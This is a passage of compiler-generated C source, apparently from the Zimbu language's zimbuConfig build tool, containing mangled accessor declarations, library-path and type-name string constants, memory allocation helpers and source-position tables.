MZimbu__CConfig.setHaveFork */ Tb YcPw(YNdL *t); /* MZimbu__CConfig.hasHaveFork */ YNdL *YNXX(YNdL *t, Tc *Av); /* MZimbu__CConfig.setExeSuffix */ Tb YuSQ(YNdL *t); /* MZimbu__CConfig.hasExeSuffix */ YNdL *YcU3(YNdL *t, Tc *Av); /* MZimbu__CConfig.setExePrefix */ Tb YUOX(YNdL *t); /* MZimbu__CConfig.hasExePrefix */ YNdL *Y118(YNdL *t, Tb Av); /* MZimbu__CConfig.setHaveSigaction */ Tb YJrk(YNdL *t); /* MZimbu__CConfig.hasHaveSigaction */ YNdL *YEDn(YNdL *t, Tb Av); /* MZimbu__CConfig.setGcWithThreads */ Tb Yo45(YNdL *t); /* MZimbu__CConfig.hasGcWithThreads */ YNdL *YIIX(YNdL *t, Tc *Av); /* MZimbu__CConfig.setInt16Name */ Tb YpDQ(YNdL *t); /* MZimbu__CConfig.hasInt16Name */ YNdL *Y8TB(YNdL *t, Tc *Av); /* MZimbu__CConfig.setInt32Name */ Tb YQOu(YNdL *t); /* MZimbu__CConfig.hasInt32Name */ YNdL *Y6PM(YNdL *t, Tc *Av); /* MZimbu__CConfig.setInt64Name */ Tb YOKF(YNdL *t); /* MZimbu__CConfig.hasInt64Name */ YNdL *YXzR(YNdL *t, Tc *Av); /* MZimbu__CConfig.setNat16Name */ Tb YEuK(YNdL *t); /* MZimbu__CConfig.hasNat16Name */ YNdL *YnLv(YNdL *t, Tc *Av); /* MZimbu__CConfig.setNat32Name */ Tb Y4Fo(YNdL *t); /* MZimbu__CConfig.hasNat32Name */ YNdL *YlHG(YNdL *t, Tc *Av); /* MZimbu__CConfig.setNat64Name */ Tb Y2Bz(YNdL *t); /* MZimbu__CConfig.hasNat64Name */ YNdL *Yla2(YNdL *t, Tc *Av); /* MZimbu__CConfig.setFloatName */ Tb Y24V(YNdL *t); /* MZimbu__CConfig.hasFloatName */ YNdL *YI4N(YNdL *t, Tc *Av); /* MZimbu__CConfig.setFloat32Name */ Tb YftC(YNdL *t); /* MZimbu__CConfig.hasFloat32Name */ YNdL *YJ6V(YNdL *t, Tc *Av); /* MZimbu__CConfig.setIntPtrName */ Tb YTxb(YNdL *t); /* MZimbu__CConfig.hasIntPtrName */ YNdL *YUld(YNdL *t, Tc *Av); /* MZimbu__CConfig.setPrintIntFormat */ Tb YlFq(YNdL *t); /* MZimbu__CConfig.hasPrintIntFormat */ YNdL *Y8c7(YNdL *t, Tc *Av); /* MZimbu__CConfig.setPrintNatFormat */ Tb Y6Nw(YNdL *t); /* MZimbu__CConfig.hasPrintNatFormat */ YNdL *YRMv(YNdL *t, Tc *Av); /* MZimbu__CConfig.setScanfHexFormat */ Tb Yoe8(YNdL *t); /* MZimbu__CConfig.hasScanfHexFormat */ YNdL *YeB5(YNdL *t, Tb Av); /* MZimbu__CConfig.setIsMingw */ Tb YdfK(YNdL *t); /* MZimbu__CConfig.hasIsMingw */ Tb YFKUa(YNdL *t, Ti AfieldNr); /* MZimbu__CConfig.boolGet */ Tc *Yxv3a(YNdL *t, Ti AfieldNr); /* MZimbu__CConfig.stringGet */ Tb YlZca(YNdL *t, Ti AfieldNr); /* MZimbu__CConfig.hasField */ Tl *Yozoa(YNdL *t); /* MZimbu__CConfig.fieldSpecs */ Zs11 Y1i0 = {"\011mallocArg\000"}; Zs11 YF8m = {"\011threadArg\000"}; Zs11 Yxze = {"\011socketArg\000"}; Zs9 YdV8 = {"\007mathArg\000"}; Zs13 Yefj = {"\013haveResolve\000"}; Zs10 YqSF = {"\010haveFork\000"}; Zs11 YG05 = {"\011exeSuffix\000"}; Zs11 Yg4Z = {"\011exePrefix\000"}; Zs15 YUN3 = {"\015haveSigaction\000"}; Zs15 Yeai = {"\015gcWithThreads\000"}; Zs11 YLf6 = {"\011int16Name\000"}; Zs11 Yk4r = {"\011int32Name\000"}; Zs11 Ym8g = {"\011int64Name\000"}; Zs11 Ywoc = {"\011nat16Name\000"}; Zs11 Y5cy = {"\011nat32Name\000"}; Zs11 Y7gn = {"\011nat64Name\000"}; Zs11 Y7N0 = {"\011floatName\000"}; Zs13 Y4ZK = {"\013float32Name\000"}; Zs12 YlnY = {"\012intPtrName\000"}; Zs16 YMLF = {"\016printIntFormat\000"}; Zs16 YxUL = {"\016printNatFormat\000"}; Zs16 YPkn = {"\016scanfHexFormat\000"}; Zs9 Y83L = {"\007isMingw\000"}; Tl *YR6X = NULL; /* MZimbu__CConfig__X.fieldSpecs */ Ti YNdL__Y0zD(YNdL *t, Ti AfieldNr); /* MZimbu__CConfig.enumGet__p1 */ Ti YNdL__Y0zDa(YNdL *t, Ti AfieldNr, Ti Aidx); /* MZimbu__CConfig.enumGet__p1 */ Tc *YNdL__YytN(YNdL *t, Ti AfieldNr); /* MZimbu__CConfig.enumNameGet__p1 */ Tc *YNdL__YytNa(YNdL *t, Ti AfieldNr, Ti Aidx); /* MZimbu__CConfig.enumNameGet__p1 */ Ti YNdL__YGR8(YNdL *t, Ti AfieldNr); /* MZimbu__CConfig.intGet__p1 */ Ti YNdL__YGR8a(YNdL *t, Ti AfieldNr, Ti Aidx); /* MZimbu__CConfig.intGet__p1 */ Ti32 YNdL__YAAo(YNdL *t, Ti AfieldNr); /* MZimbu__CConfig.int32Get__p1 */ Ti32 YNdL__YAAoa(YNdL *t, Ti AfieldNr, Ti Aidx); /* MZimbu__CConfig.int32Get__p1 */ Tu YNdL__YRqV(YNdL *t, Ti AfieldNr); /* MZimbu__CConfig.uint64Get__p1 */ Tu YNdL__YRqVa(YNdL *t, Ti AfieldNr, Ti Aidx); /* MZimbu__CConfig.uint64Get__p1 */ Tu32 YNdL__Y0tE(YNdL *t, Ti AfieldNr); /* MZimbu__CConfig.uint32Get__p1 */ Tu32 YNdL__Y0tEa(YNdL *t, Ti AfieldNr, Ti Aidx); /* MZimbu__CConfig.uint32Get__p1 */ Tf32 YNdL__Yyt7(YNdL *t, Ti AfieldNr); /* MZimbu__CConfig.floatGet__p1 */ Tf32 YNdL__Yyt7a(YNdL *t, Ti AfieldNr, Ti Aidx); /* MZimbu__CConfig.floatGet__p1 */ Tf YNdL__Yybv(YNdL *t, Ti AfieldNr); /* MZimbu__CConfig.doubleGet__p1 */ Tf YNdL__Yybva(YNdL *t, Ti AfieldNr, Ti Aidx); /* MZimbu__CConfig.doubleGet__p1 */ Tb YNdL__YGfza(YNdL *t, Ti AfieldNr, Ti Aidx); /* MZimbu__CConfig.boolGet__p1 */ Tc *YNdL__YsRaa(YNdL *t, Ti AfieldNr, Ti Aidx); /* MZimbu__CConfig.stringGet__p1 */ Tr YNdL__Yo5y(YNdL *t, Ti AfieldNr); /* MZimbu__CConfig.messageGet__p1 */ Tr YNdL__Yo5ya(YNdL *t, Ti AfieldNr, Ti Aidx); /* MZimbu__CConfig.messageGet__p1 */ Ti YNdL__YUDN(YNdL *t, Ti AfieldNr); /* MZimbu__CConfig.size__p1 */ Tc *YNdL__YC5i(YNdL *t); /* MZimbu__CConfig.ToString__p1 */ Tc *YNdL__YFL0_I_imt[54]; To ToYNdL[19]; int JzimbuConfig(int round); /* zimbuConfig done */ Zs10 Yj_i = {"\010/usr/lib\000"}; Zs12 YftF = {"\012/usr/lib64\000"}; Zs6 YK0f = {"\004/lib\000"}; Zs8 YIMX = {"\006/lib64\000"}; Zs16 YDCH = {"\016/usr/local/lib\000"}; Zs25 YYHU = {"\027/usr/lib/i386-linux-gnu\000"}; Zs27 YGiO = {"\031/usr/lib/x86_64-linux-gnu\000"}; Zs18 Y912 = {"\020tcmalloc_minimal\000"}; Zs10 Y56Y = {"\010tcmalloc\000"}; Zs5 YEk4 = {"\003.so\000"}; Zs4 Y1ja = {"\002-l\000"}; Zs36 YbiD = {"\042tcmalloc_minimal library NOT FOUND\000"}; Zs68 Y51Q = {"\102install the tcmalloc_minimal library to make Zimbu programs faster\000"}; Zs11 YglX = {"\011-lpthread\000"}; Zs5 YtA1 = {"\003-lm\000"}; Zs7 YX_1 = {"\005short\000"}; Zs34 Y8PB = {"\040WARNING: int16 size is actually \000"}; Zs7 YMSv = {"\005 bits\000"}; Zs5 Y1Qt = {"\003int\000"}; Zs6 YDFJ = {"\004long\000"}; Zs34 Ynz4 = {"\040WARNING: int32 size is actually \000"}; Zs11 YDR5 = {"\011long long\000"}; Zs7 YmXc = {"\005%I64d\000"}; Zs7 YGXc = {"\005%I64x\000"}; Zs7 YDXc = {"\005%I64u\000"}; Zs6 YKd3 = {"\004%lld\000"}; Zs6 Y3d3 = {"\004%llx\000"}; Zs6 Y0d3 = {"\004%llu\000"}; Zs5 YY0H = {"\003%ld\000"}; Zs5 Yh1H = {"\003%lx\000"}; Zs4 Y46 = {"\002%d\000"}; Zs4 Yo7 = {"\002%x\000"}; Zs32 Y0OX = {"\036WARNING: int size is actually \000"}; Zs16 YFcv = {"\016unsigned short\000"}; Zs34 YTwi = {"\040WARNING: nat16 size is actually \000"}; Zs14 YVjT = {"\014unsigned int\000"}; Zs15 YOaN = {"\015unsigned long\000"}; Zs34 YENP = {"\040WARNING: nat32 size is actually \000"}; Zs20 Y2BO = {"\022unsigned long long\000"}; Zs5 Ye1H = {"\003%lu\000"}; Zs4 Yl7 = {"\002%u\000"}; Zs32 YfGK = {"\036WARNING: nat size is actually \000"}; Zs8 Ygep = {"\006double\000"}; Zs34 Y_4L = {"\040WARNING: float size is actually \000"}; Zs7 Yt7n = {"\005float\000"}; Zs36 YhOJ = {"\042WARNING: float32 size is actually \000"}; Zs17 YlTN = {"\017__INTPTR_TYPE__\000"}; Zs4 YFka = {"\002./\000"}; Zs17 Ys1d = {"\017zimbuConfig.out\000"}; Zs28 YLmd = {"\032Generated zimbuConfig.out:\000"}; Tt bool__T = {21, 0, 0}; Tt byte__T = {11, 0, 0}; Tt byteString__T = {201, 0, 0}; Tt float128__T = {83, 0, 0}; Tt float32__T = {81, 0, 0}; Tt float80__T = {82, 0, 0}; Tt float__T = {80, 0, 0}; Tt int16__T = {2, 0, 0}; Tt int32__T = {3, 0, 0}; Tt int8__T = {1, 0, 0}; Tt int__T = {0, 0, 0}; Tt nat16__T = {12, 0, 0}; Tt nat32__T = {13, 0, 0}; Tt nat__T = {10, 0, 0}; Tt status__T = {22, 0, 0}; Tt string__T = {200, 0, 0}; Tt type__T = {101, 0, 0}; Tt array__T = {300, 0, 0}; Tt list__T = {301, 0, 0}; Tt dict__T = {302, 0, 0}; Tt iobj__T = {391, 0, 0}; int ZglobInit(int round); typedef struct Zfo__S { int off; Tt *type; } Zfo; typedef struct Zsf__S { volatile int pos; struct Zsf__S *prev; Zfo *frof; } Zsf; #define POS_MASK 0x3fffffff typedef struct Senv__S { int tosNr; } Tn; /* per-thread environemnt */ Zsf *topFrame = NULL; int inZa = 0; int ZaEntered = 0; Tn Zenv = {0}; void beforeExit() { } Tc *Zstr(char *s) { return ZnewString((Tc*)s, strlen(s)); } /* allocate memory */ void *Za(size_t size) { void *p = NULL; if (!inZa) { inZa = 1; p = calloc(1, size); inZa = 0; } if (p == NULL) { if (inZa || ZaEntered) { if (16384 - emergencyAllocUsed >= size) { p = emergencyAlloc + emergencyAllocUsed; emergencyAllocUsed += size; return p; } fputs("Out of memory (Za)\n", stderr); fflush(stderr); exit(1); } ++ZaEntered; ZthrowOutOfMemory(size); } ZaEntered = 0; return p; } /* allocate memory with offset */ #define ZaOff(size) (Za((size) + ZOH_OFF) + ZOH_OFF) #define ZranOff(ptr, osize, nsize) (Zran((ptr) ? (void*)(ptr) - ZOH_OFF : NULL, (osize) + ZOH_OFF, (nsize) + ZOH_OFF) + ZOH_OFF) /* allocate memory */ void *ZaNm(size_t size) { void *p = NULL; if (!inZa) { inZa = 1; p = calloc(1, size); inZa = 0; } if (p == NULL) { if (inZa || ZaEntered) { if (16384 - emergencyAllocUsed >= size) { p = emergencyAlloc + emergencyAllocUsed; emergencyAllocUsed += size; return p; } fputs("Out of memory (ZaNm)\n", stderr); fflush(stderr); exit(1); } ++ZaEntered; ZthrowOutOfMemory(size); } ZaEntered = 0; return p; } void *ZaNmi(size_t size) { void *p = NULL; if (!inZa) { inZa = 1; p = calloc(1, size); inZa = 0; } if (p == NULL) { if (inZa || ZaEntered) { if (16384 - emergencyAllocUsed >= size) { p = emergencyAlloc + emergencyAllocUsed; emergencyAllocUsed += size; return p; } fputs("Out of memory (ZaNmi)\n", stderr); fflush(stderr); exit(1); } ++ZaEntered; ZthrowOutOfMemory(size); } ZaEntered = 0; return p; } /* reallocate memory */ void *Zran(void *op, size_t osize, size_t nsize) { void *p = NULL; if (!inZa && !ZaEntered) { inZa = 1; p = realloc(op, nsize); inZa = 0; if (p == NULL) { ++ZaEntered; ZthrowOutOfMemory(nsize); } ZaEntered = 0; if (nsize > osize) memset(p + osize, 0, nsize - osize); return p; } p = Za(nsize); if (op) memmove(p + ZOH_OFF, op + ZOH_OFF, nsize > osize ? osize - ZOH_OFF : nsize - ZOH_OFF); if (nsize > osize) memset(p + osize, 0, nsize - osize); return p; } void *ZranNm(void *op, size_t osize, size_t nsize) { void *p = NULL; if (!inZa && !ZaEntered) { inZa = 1; p = realloc(op, nsize); inZa = 0; if (p == NULL) { ++ZaEntered; ZthrowOutOfMemory(nsize); } if (nsize > osize) memset(p + osize, 0, nsize - osize); return p; } p = ZaNm(nsize); if (op) memmove(p, op, nsize > osize ? osize : nsize); if (nsize > osize) memset(p + osize, 0, nsize - osize); return p; } void Zfree(void *p) { if (p) free(p); } Tc *ZnewStringInit(Ti len, Tc **pp) { Ti rlen = len; int i; int n = ZOH_OFF; Tc buf[20]; Tc *res; buf[0] = (rlen & 127); rlen >>= 7; for (i = 1; rlen > 0; ++i) { buf[i] = (rlen & 127) + 128; rlen >>= 7; } res = Za(ZOH_OFF + len + i + 1); while (i > 0) res[n++] = buf[--i]; *pp = res + n; return res; } Tc *ZnewString(Tc *p, Ti len) { Tc *pp; Tc *res = ZnewStringInit(len, &pp); memmove(pp, p, len); return res; } Tc Y0hD[]="ZUDIR/zimbuConfig.zu"; Tc Yt1T[]="lib/EModule.zu"; Tc Yay0[]="lib/IOModule.zu"; Tc Y3zM[]="lib/ZModule.zu"; Tc Y_hM[]="plugin/proto/Message.zu"; Tc YxTh[]="plugin/proto/Proto.zu"; Tc YTYp[]="zimbuConfig.zu"; Tc Ylvo[]="Config.ToString__p1/1()"; Tcpos ZcTbl79794[]={ {159,9}, {1,30}, {2,32}, {3,5}, {4,19}, }; Tc Y51G[]="Config.boolGet__p1/3()"; Tcpos ZcTbl79218[]={ {98,9}, {1,12}, }; Tc YqIG[]="Config.doubleGet__p1/2()"; Tcpos ZcTbl95580[]={ {89,9}, {1,12}, }; Tc Yv8D[]="Config.doubleGet__p1/3()"; Tcpos ZcTbl5781[]={ {92,9}, {1,12}, }; Tc YRsF[]="Config.enumGet__p1/2()"; Tcpos ZcTbl77282[]={ {45,9}, {1,12}, }; Tc YWTC[]="Config.enumGet__p1/3()"; Tcpos ZcTbl87483[]={ {48,9}, {1,12}, }; Tc YnCh[]="Config.enumNameGet__p1/2()"; Tcpos ZcTbl13235[]={ {51,9}, {1,12}, }; Tc Yibk[]="Config.enumNameGet__p1/3()"; Tcpos ZcTbl23436[]={ {54,9}, {1,12}, }; Tc YGC4[]="Config.floatGet__p1/2()"; Tcpos ZcTbl21451[]={ {82,9}, {1,12}, }; Tc YBb7[]="Config.floatGet__p1/3()"; Tcpos ZcTbl31652[]={ {85,9}, {1,12}, }; Tc YKxu[]="Config.int32Get__p1/2()"; Tcpos ZcTbl45061[]={ {63,9}, {1,12}, }; Tc YF6w[]="Config.int32Get__p1/3()"; Tcpos ZcTbl55262[]={ {66,9}, {1,12}, }; Tc YMHx[]="Config.intGet__p1/2()"; Tcpos ZcTbl30096[]={ {57,9}, {1,12}, }; Tc YHgA[]="Config.intGet__p1/3()"; Tcpos ZcTbl40297[]={ {60,9}, {1,12}, }; Tc Y2uD[]="Config.messageGet__p1/2()"; Tcpos ZcTbl95750[]={ {131,9}, {1,12}, }; Tc Y7VA[]="Config.messageGet__p1/3()"; Tcpos ZcTbl5951[]={ {134,9}, {1,12}, }; Tc YV4L[]="Config.size__p1/1()"; Tcpos ZcTbl81627[]={ {150,9}, {1,12}, }; Tc YiT7[]="Config.stringGet__p1/3()"; Tcpos ZcTbl25401[]={ {104,9}, {1,12}, }; Tc YOLm[]="Config.uint32Get__p1/2()"; Tcpos ZcTbl75882[]={ {75,9}, {1,12}, }; Tc YJkp[]="Config.uint32Get__p1/3()"; Tcpos ZcTbl86083[]={ {78,9}, {1,12}, }; Tc YQ25[]="Config.uint64Get__p1/2()"; Tcpos ZcTbl16247[]={ {69,9}, {1,12}, }; Tc YVt3[]="Config.uint64Get__p1/3()"; Tcpos ZcTbl26448[]={ {72,9}, {1,12}, }; Tc Y5LR[]="E.BadValue.NEW__p2/2()"; Tcpos ZcTbl60593[]={ {60,5}, {1,16}, {2,12}, {4,20}, {4,24}, }; Tc Y9VX[]="E.BadValue.writeTo__p2/4()"; Tcpos ZcTbl46171[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc Y4u_[]="E.BadValue.writeTo__p2/5()"; Tcpos ZcTbl56372[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc Y_Qs[]="E.DivideByZero.NEW__p3/3()"; Tcpos ZcTbl73471[]={ {60,5}, {1,16}, {2,12}, {4,20}, {4,24}, }; Tc YG80[]="E.DivideByZero.writeTo__p3/6()"; Tcpos ZcTbl44130[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc YLzZ[]="E.DivideByZero.writeTo__p3/7()"; Tcpos ZcTbl54331[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc YPz2[]="E.E_BinaryError.NEW__p2/2()"; Tcpos ZcTbl46312[]={ {60,5}, {1,16}, {2,12}, {4,20}, {4,24}, }; Tc Yu0r[]="E.E_BinaryError.writeTo__p2/4()"; Tcpos ZcTbl70530[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc Yzrp[]="E.E_BinaryError.writeTo__p2/5()"; Tcpos ZcTbl80731[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc YWEC[]="E.E_ProduceError.NEW__p2/2()"; Tcpos ZcTbl70833[]={ {60,5}, {1,16}, {2,12}, {4,20}, {4,24}, }; Tc Yuzo[]="E.E_ProduceError.writeTo__p2/4()"; Tcpos ZcTbl63483[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc Yz_l[]="E.E_ProduceError.writeTo__p2/5()"; Tcpos ZcTbl73684[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc YgcH[]="E.Exception.writeTo()"; Tcpos ZcTbl49183[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc YYT9[]="E.Exception.writeTo/1()"; Tcpos ZcTbl36491[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc YTjU[]="E.Exit.writeTo/2()"; Tcpos ZcTbl92163[]={ {191,11}, {1,7}, {2,9}, {3,9}, {5,7}, {6,7}, {7,7}, {8,9}, {9,9}, }; Tc Y9aV[]="E.Exit.writeTo__p1/3()"; Tcpos ZcTbl42983[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc Y9Cv[]="E.IOError.NEW__p2/2()"; Tcpos ZcTbl48299[]={ {60,5}, {1,16}, {2,12}, {4,20}, {4,24}, }; Tc Y59h[]="E.IOError.writeTo__p2/4()"; Tcpos ZcTbl89685[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc Y0Jk[]="E.IOError.writeTo__p2/5()"; Tcpos ZcTbl99886[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc Yp81[]="E.Init.NEW__p2/2()"; Tcpos ZcTbl53377[]={ {60,5}, {1,16}, {2,12}, {4,20}, {4,24}, }; Tc YMF2[]="E.Init.writeTo__p2/4()"; Tcpos ZcTbl96107[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc YR5_[]="E.Init.writeTo__p2/5()"; Tcpos ZcTbl6308[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc YbzA[]="E.Internal.NEW__p2/2()"; Tcpos ZcTbl78082[]={ {60,5}, {1,16}, {2,12}, {4,20}, {4,24}, }; Tc YxLq[]="E.Internal.writeTo__p2/4()"; Tcpos ZcTbl412[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc YCbo[]="E.Internal.writeTo__p2/5()"; Tcpos ZcTbl10613[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc Ycb9[]="E.KeyExists.NEW__p3/3()"; Tcpos ZcTbl85000[]={ {60,5}, {1,16}, {2,12}, {4,20}, {4,24}, }; Tc Y4SL[]="E.KeyExists.writeTo__p3/6()"; Tcpos ZcTbl14715[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc Y9iJ[]="E.KeyExists.writeTo__p3/7()"; Tcpos ZcTbl24916[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc YAVe[]="E.KeyNotFound.NEW__p3/3()"; Tcpos ZcTbl29585[]={ {60,5}, {1,16}, {2,12}, {4,20}, {4,24}, }; Tc Ygil[]="E.KeyNotFound.writeTo__p3/6()"; Tcpos ZcTbl43124[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc YlJi[]="E.KeyNotFound.writeTo__p3/7()"; Tcpos ZcTbl53325[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc YF6S[]="E.MemoryAccess.NEW__p2/2()"; Tcpos ZcTbl73580[]={ {60,5}, {1,16}, {2,12}, {4,20}, {4,24}, }; Tc Y4vu[]="E.MemoryAccess.writeTo__p2/4()"; Tcpos ZcTbl25958[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc Y_4w[]="E.MemoryAccess.writeTo__p2/5()"; Tcpos ZcTbl36159[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc Y1As[]="E.NilAccess.NEW__p2/2()"; Tcpos ZcTbl32086[]={ {60,5}, {1,16}, {2,12}, {4,20}, {4,24}, }; Tc YcIS[]="E.NilAccess.writeTo__p2/4()"; Tcpos ZcTbl35088[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc Y7gV[]="E.NilAccess.writeTo__p2/5()"; Tcpos ZcTbl45289[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc YobA[]="E.OutOfMemory.NEW/3()"; Tcpos ZcTbl80644[]={ {262,5}, {1,16}, {2,12}, {4,20}, {4,24}, }; Tc YoZS[]="E.OutOfMemory.writeTo__p2/4()"; Tcpos ZcTbl11217[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc YtpQ[]="E.OutOfMemory.writeTo__p2/5()"; Tcpos ZcTbl21418[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc YR5m[]="E.WrongType.NEW/1()"; Tcpos ZcTbl87235[]={ {514,5}, {1,16}, {2,12}, {4,20}, {4,24}, }; Tc YlgI[]="E.WrongType.writeTo__p2/4()"; Tcpos ZcTbl86818[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc YgQK[]="E.WrongType.writeTo__p2/5()"; Tcpos ZcTbl97019[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc YEFs[]="E.unhandledException()"; Tcpos ZcTbl15718[]={ {609,23}, {0,23}, {0,23}, }; Tc YgcM[]="E.writeToStderr()"; Tcpos ZcTbl52386[]={ {629,5}, {1,5}, {1,7}, {1,7}, {1,7}, {1,7}, {1,7}, {1,7}, {1,7}, {1,7}, {1,7}, {1,7}, {1,7}, {1,7}, {1,7}, {1,7}, {1,7}, {2,5}, }; Tc Ys1a[]="IO"; Tcpos ZcTbl7452[]={ {26,8}, {3,8}, {6,8}, }; Tc Yxlj[]="IO.File.print__p1/15()"; Tcpos ZcTbl82618[]={ {230,11}, {1,15}, }; Tc Yj_J[]="IO.File.write/8()"; Tcpos ZcTbl94823[]={ {483,11}, {3,9}, {4,11}, {6,4}, {31,14}, }; Tc YGQL[]="IO.File.write__p1/9()"; Tcpos ZcTbl59819[]={ {129,11}, {1,15}, }; Tc YrJP[]="IO.StringWriter.ToString()"; Tcpos ZcTbl64531[]={ {1431,11}, {3,9}, {4,13}, {6,4}, {17,14}, }; Tc YCbR[]="IO.StringWriter.write/8()"; Tcpos ZcTbl89987[]={ {1359,11}, {1,37}, {3,9}, {4,14}, {5,11}, {6,17}, {8,11}, {10,13}, {12,11}, {13,17}, {24,14}, }; Tc YzQB[]="IO.StringWriter.write__p1/9()"; Tcpos ZcTbl72007[]={ {129,11}, {1,15}, }; Tc Y5X7[]="IO.fileWriter()"; Tcpos ZcTbl81580[]={ {956,4}, {8,9}, {9,4}, {19,12}, }; Tc YN2v[]="IO.flush()"; Tcpos ZcTbl46761[]={ {1337,4}, {9,12}, }; Tc YZKb[]="IO.isReadable()"; Tcpos ZcTbl71563[]={ {1697,4}, {8,14}, }; Tc YNFk[]="IO.print()"; Tcpos ZcTbl1872[]={ {1227,37}, {1,4}, {13,12}, }; Tc Y9QD[]="Main()"; Tcpos ZcTbl5270[]={ {25,30}, {3,3}, {10,5}, {11,7}, {12,15}, {10,5}, {16,5}, {3,3}, {21,3}, {22,5}, {24,5}, {25,5}, {32,13}, {33,11}, {38,4}, {44,3}, {45,3}, {46,5}, {48,3}, {55,4}, {68,3}, {69,3}, {70,3}, {71,3}, {75,4}, {80,3}, {95,4}, {108,3}, {109,3}, {110,5}, {114,3}, {115,5}, {116,19}, {117,5}, {119,5}, {120,5}, {123,20}, {127,4}, {130,18}, {131,18}, {132,18}, {133,4}, {136,18}, {137,18}, {138,18}, {139,4}, {144,3}, {146,19}, {147,13}, {148,20}, {149,20}, {150,20}, {151,18}, {152,13}, {153,20}, {154,20}, {156,5}, {158,3}, {159,3}, {160,3}, {162,3}, {163,3}, {164,5}, {168,3}, {169,5}, {170,22}, {171,5}, {173,5}, {174,5}, {177,20}, {178,3}, {180,22}, {181,13}, {182,20}, {183,21}, {184,13}, {185,20}, {187,5}, {190,3}, {191,3}, {193,3}, {194,3}, {195,5}, {198,3}, {199,3}, {200,5}, {205,4}, {208,14}, {209,4}, {214,14}, {215,4}, {219,14}, {220,4}, {223,14}, {224,4}, {229,14}, {230,4}, {234,3}, {240,13}, {241,13}, }; Tcpos ZcTbl5271[]={ {267,4}, {6,3}, {7,3}, {9,23}, {10,31}, {11,3}, {13,3}, {14,3}, {16,10}, }; Tc Y1Hw[]="Proto"; Tcpos ZcTbl30532[]={ {286,26}, {15,25}, }; Tc YlSz[]="Proto.FieldSpec.NEW()"; Tcpos ZcTbl13666[]={ {105,5}, {1,13}, {2,11}, {3,13}, {4,17}, }; Tc YnDn[]="Proto.Writer.NEW/2()"; Tcpos ZcTbl12469[]={ {156,5}, {1,15}, {2,15}, {3,14}, {5,7}, }; Tc YlQ3[]="Proto.Writer.initDeref()"; Tcpos ZcTbl32956[]={ {164,11}, {1,18}, {2,22}, }; Tc YGqq[]="Proto.binaryMessageSize()"; Tcpos ZcTbl37884[]={ {803,5}, {1,12}, {2,12}, {5,7}, {6,19}, {7,9}, {8,14}, {9,34}, {10,14}, {12,9}, {14,32}, {15,16}, {16,16}, {17,16}, {19,29}, {20,27}, {23,7}, {24,14}, {25,19}, {26,14}, {27,14}, {30,12}, }; Tc YI64[]="Proto.binarySize()"; Tcpos ZcTbl90679[]={ {681,5}, {1,7}, {2,25}, {3,9}, {4,11}, {7,20}, {8,20}, {11,20}, {12,20}, 